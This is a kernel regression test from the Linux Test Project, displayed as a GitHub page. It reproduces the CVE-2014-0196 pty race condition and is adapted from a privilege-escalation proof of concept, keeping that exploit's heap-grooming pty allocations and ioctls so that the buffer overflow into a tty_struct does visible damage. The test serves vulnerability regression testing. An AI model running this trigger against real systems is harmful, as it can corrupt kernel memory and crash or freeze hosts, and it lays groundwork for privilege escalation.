Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
* Original POC by Matthew Daley <mattd@bugfuzz.com>
*/
/*
* This test attempts to cause a buffer overflow using the race condition
* described in CVE-2014-0196. If the test is successful in causing an
* overflow it will most likely result in an immediate Oops, restart or
* freeze. However if it overwrites memory not accessed during the test then
* it could happen at a later time or not at all which is more likely if SLAB
* randomization has been implemented. However as it currently stands, the test
* usually crashes as soon as the delay has been calibrated.
*
* To maximise the chances of the buffer overflow doing immediate detectable
* damage the SLAB filler sockets and ioctls from the original exploit POC
* have been kept even though they are not strictly necessary to reproduce the
* bug.
*
* Further details:
* see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
* privilege escalation POC https://www.exploit-db.com/exploits/33516/
*/
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <limits.h>
#include "tst_test.h"
#include "tst_timer.h"
#include "tst_safe_pthread.h"
#include "tst_fuzzy_sync.h"
#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30
#define BUFLEN 512
static volatile int master_fd, slave_fd;
static int filler_ptys[ONEOFF_ALLOCS * 2];
static int target_ptys[RUN_ALLOCS * 2];
static char buf[BUFLEN];
static void *overwrite_thread_fn(void *);
static struct tst_fzsync_pair fzsync_pair;
static void create_pty(int *amaster, int *aslave)
{
if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
tst_brk(TBROK | TERRNO, "pty creation failed");
}
static void setup(void)
{
int i;
fzsync_pair.exec_loops = 50000;
tst_fzsync_pair_init(&fzsync_pair);
for (i = 0; i < ONEOFF_ALLOCS; i++) {
create_pty(&filler_ptys[i],
&filler_ptys[i + ONEOFF_ALLOCS]);
}
}
static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
{
while(tst_fzsync_run_b(&fzsync_pair)) {
tst_fzsync_start_race_b(&fzsync_pair);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN - 1);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, BUFLEN);
tst_fzsync_end_race_b(&fzsync_pair);
}
return 0;
}
static void run(void)
{
struct termios t;
int j;
tst_res(TINFO, "Attempting to overflow into a tty_struct...");
tst_fzsync_pair_reset(&fzsync_pair, overwrite_thread_fn);
while (tst_fzsync_run_a(&fzsync_pair)) {
create_pty((int *)&master_fd, (int *)&slave_fd);
for (j = 0; j < RUN_ALLOCS; j++)
create_pty(&target_ptys[j],
&target_ptys[j + RUN_ALLOCS]);
SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
SAFE_WRITE(SAFE_WRITE_ANY, slave_fd, buf, 1);
tcgetattr(master_fd, &t);
t.c_oflag &= ~OPOST;
t.c_lflag |= ECHO;
tcsetattr(master_fd, TCSANOW, &t);
tst_fzsync_start_race_a(&fzsync_pair);
SAFE_WRITE(SAFE_WRITE_ANY, master_fd, "A", 1);
tst_fzsync_end_race_a(&fzsync_pair);
for (j = 0; j < RUN_ALLOCS; j++) {
if (j == RUN_ALLOCS / 2)
continue;
ioctl(target_ptys[j], 0xdeadbeef);
ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
SAFE_CLOSE(target_ptys[j]);
SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
}
ioctl(master_fd, 0xdeadbeef);
ioctl(slave_fd, 0xdeadbeef);
SAFE_CLOSE(master_fd);
SAFE_CLOSE(slave_fd);
}
tst_res(TPASS, "Nothing bad happened, probably.");
}
static void cleanup(void)
{
int i;
tst_fzsync_pair_cleanup(&fzsync_pair);
for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
close(filler_ptys[i]);
close(master_fd);
close(slave_fd);
}
static struct tst_test test = {
.setup = setup,
.cleanup = cleanup,
.test_all = run,
.max_runtime = 60,
.tags = (const struct tst_tag[]) {
{"linux-git", "4291086b1f08"},
{"CVE", "2014-0196"},
{}
}
};